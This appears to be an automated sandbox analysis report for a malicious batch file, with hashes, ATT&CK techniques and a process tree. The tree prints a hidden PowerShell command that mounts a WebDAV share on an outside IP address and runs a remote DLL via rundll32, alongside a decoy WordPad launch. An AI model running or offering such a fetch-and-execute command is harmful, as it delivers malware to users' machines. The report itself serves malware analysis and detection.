011986e87f1982cde321ff081c56f69e31c1275b3f0ba5805987f7033cc24f35

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:55

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General

Target

2325124587226124917.bat
Size

2KB
MD5

b037e18523fe5233a211d2a8eaa84667
SHA1

e08723e8f6476f856d69174b647883e192a239c6
SHA256

fcea081bdb0950221442c87c052b451edc5b5b65f7697a11bafafdb64c0acf01
SHA512

5fe20f314e8ad183c40077506adda3b13b1b3698df83e515faa58a17b4d04af3597dd3272721a77a2d496e484fa010a123ea141b78f9797baeddf63bed244099

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2064	wordpad.exe
2064	wordpad.exe
2064	wordpad.exe
2064	wordpad.exe
2064	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2064	2152	cmd.exe	29
PID 2152 wrote to memory of 2064	2152	cmd.exe	29
PID 2152 wrote to memory of 2064	2152	cmd.exe	29
PID 2152 wrote to memory of 1592	2152	cmd.exe	30
PID 2152 wrote to memory of 1592	2152	cmd.exe	30
PID 2152 wrote to memory of 1592	2152	cmd.exe	30
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1444	1592	powershell.exe	33
PID 1592 wrote to memory of 1444	1592	powershell.exe	33
PID 1592 wrote to memory of 1444	1592	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2325124587226124917.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4065.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1912
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4065.dll entry
    3⤵
    PID:1444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1592-25-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/1592-24-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download